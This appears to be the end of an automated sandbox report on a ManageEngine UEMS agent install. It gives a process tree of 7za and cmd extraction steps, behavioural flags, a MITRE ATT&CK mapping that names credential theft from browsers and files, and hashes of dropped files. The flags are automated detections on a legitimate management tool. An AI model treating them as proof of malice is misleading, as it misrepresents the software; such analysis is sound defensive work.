                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          PID:5684
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                                                                                                                                                          3 0 0
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          • Modifies registry class
                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                          PID:2852
                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                                                                                                                                                            16
                                                                                                                                                            3⤵
                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                            PID:2692
                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
                                                                                                                                                            bin\dcinventory.exe -p processor compatibility
                                                                                                                                                            3⤵
                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                            PID:120
                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exe
                                                                                                                                                            refresh
                                                                                                                                                            3⤵
                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                            PID:444
                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            PID:2928
                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3556
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3616.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3616.tmpnew""
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                              PID:2388
                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:2928
                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                  7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3616.tmp" -so
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:1760
                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1136
                                                                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:720
                                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1788
                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5512
                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" *
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4688
                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2868
                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2052
                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" *
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:2044
                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:108
                                                                                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1392
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                      PID:2672
                                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                        7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1120
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                        PID:4820
                                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                          7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:2648
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                          PID:2028
                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                            7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:3636
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                            PID:3704
                                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                              7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:1300
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                              PID:3968
                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:2080
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                PID:3004
                                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                  7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:5084
                                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:4872
                                                                                                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:2848
                                                                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe
                                                                                                                                                                                                      3
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5988
                                                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:2504
                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 9ff13e98-156a-40a8-a2f0-1966149487e5 -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\acp_component.zip" -c acp -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ApplicationControl-metadata.json" -a 1
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:3148
                                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\acp_component.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\appctrl\bin\"
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                  PID:1996
                                                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe
                                                                                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe" -PostUpgrade
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                    PID:4088
                                                                                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe
                                                                                                                                                                                                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:2712
                                                                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\dcprocmon.exe
                                                                                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\dcprocmon.exe"
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                            PID:3084
                                                                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                                                                                                                                                                                                                              30 0 0
                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                PID:6060
                                                                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\ACPipelogServer.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\ACPipelogServer.exe"
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:1648
                                                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe" RegisterContextMenu
                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                  PID:5336
                                                                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe
                                                                                                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\Privilager.exe"
                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                    PID:5348
                                                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe" -install
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:888
                                                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 2
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:4832
                                                                                                                                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                                                                                                                                                                                                                                    dcagenttrayicon.exe -r
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:4916
                                                                                                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                                                                                                                                                                                                                                      dcagenttrayicon.exe
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                        PID:4888
                                                                                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:2268
                                                                                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                                                                                                                                                                                                                                          dcagenttrayicon.exe -r
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                            PID:940
                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                                                                                                                                                                                                                                            dcagenttrayicon.exe
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:5008
                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n dd65fe8a-c3a8-45d0-9747-05463d2b8ded -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpCommonComponents.zip" -c dlp_win_neutral -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointDLP-metadata.json" -a 1
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:1640
                                                                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpCommonComponents.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\\bin\\"
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                  PID:1372
                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe
                                                                                                                                                                                                                                            DCProcessMonitor.exe
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:5168
                                                                                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe
                                                                                                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                          PID:2888
                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 1
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:5932
                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 2
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:3124
                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 4
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:6000
                                                                                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\NotifDriver_W10x64.sys
                                                                                                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\NotifDriver_W10x64.sys"
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:4496
                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:5512
                                                                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesDevCtrlSummary.exe
                                                                                                                                                                                                                                                -s ET_ENUM 9 2 "Unknown"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:5424

                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                                                                                    Resource Development

                                                                                                                                                                                                                                                    Initial Access

                                                                                                                                                                                                                                                    Execution

                                                                                                                                                                                                                                                    Command and Scripting Interpreter

                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                    T1059

                                                                                                                                                                                                                                                    PowerShell

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1059.001

                                                                                                                                                                                                                                                    Visual Basic

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1059.005

                                                                                                                                                                                                                                                    Windows Command Shell

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1059.003

                                                                                                                                                                                                                                                    Persistence

                                                                                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                                                                                    File and Directory Permissions Modification

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1222

                                                                                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1112

                                                                                                                                                                                                                                                    Subvert Trust Controls

                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                    T1553

                                                                                                                                                                                                                                                    Install Root Certificate

                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                    T1553.004

                                                                                                                                                                                                                                                    Credential Access

                                                                                                                                                                                                                                                    Credentials from Password Stores

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1555

                                                                                                                                                                                                                                                    Credentials from Web Browsers

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1555.003

                                                                                                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1552

                                                                                                                                                                                                                                                    Credentials In Files

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1552.001

                                                                                                                                                                                                                                                    Discovery

                                                                                                                                                                                                                                                    Peripheral Device Discovery

                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                    T1120

                                                                                                                                                                                                                                                    Query Registry

                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                    T1012

                                                                                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                    T1082

                                                                                                                                                                                                                                                    System Location Discovery

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1614

                                                                                                                                                                                                                                                    System Language Discovery

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1614.001

                                                                                                                                                                                                                                                    System Network Configuration Discovery

                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                    T1016

                                                                                                                                                                                                                                                    Internet Connection Discovery

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1016.001

                                                                                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                                                                                    Collection

                                                                                                                                                                                                                                                    Data from Local System

                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                    T1005

                                                                                                                                                                                                                                                    Command and Control

                                                                                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                                                                                    Impact

                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                    e5a5634.rbs
                                                                                                                                                                                                                                                    • Path C:\Config.Msi\e5a5634.rbs
                                                                                                                                                                                                                                                    • Size 63KB
                                                                                                                                                                                                                                                    • SHA256 c70460fdeda7ea594a23ef94df9fcfa3f1bd11d95098a13ecebdba90a5d83f67
                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                    e5a563a.rbs
                                                                                                                                                                                                                                                    • Path C:\Config.Msi\e5a563a.rbs
                                                                                                                                                                                                                                                    • Size 546B
                                                                                                                                                                                                                                                    • SHA256 8c462c0b638fa37f28ad5295d181aeeb3914080c5d56e437151801c181591a1b
                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                    client.p12
                                                                                                                                                                                                                                                    • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
                                                                                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                                                                                    • SHA256 583898c6f24ca6bfac2a672321cb1cab6b9866650c2afcdd8ef984c3b33066c3
                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                    DCFAFilter.inf
                                                                                                                                                                                                                                                    • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\DCFAFilter.inf
                                                                                                                                                                                                                                                    • Size 3KB
                                                                                                                                                                                                                                                    • SHA256 bea86592123e7bc548beeb9c6bc87d3139a6085ec971fb3f5eefd94b1c2858ac
                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                    DCFAFilter.sys
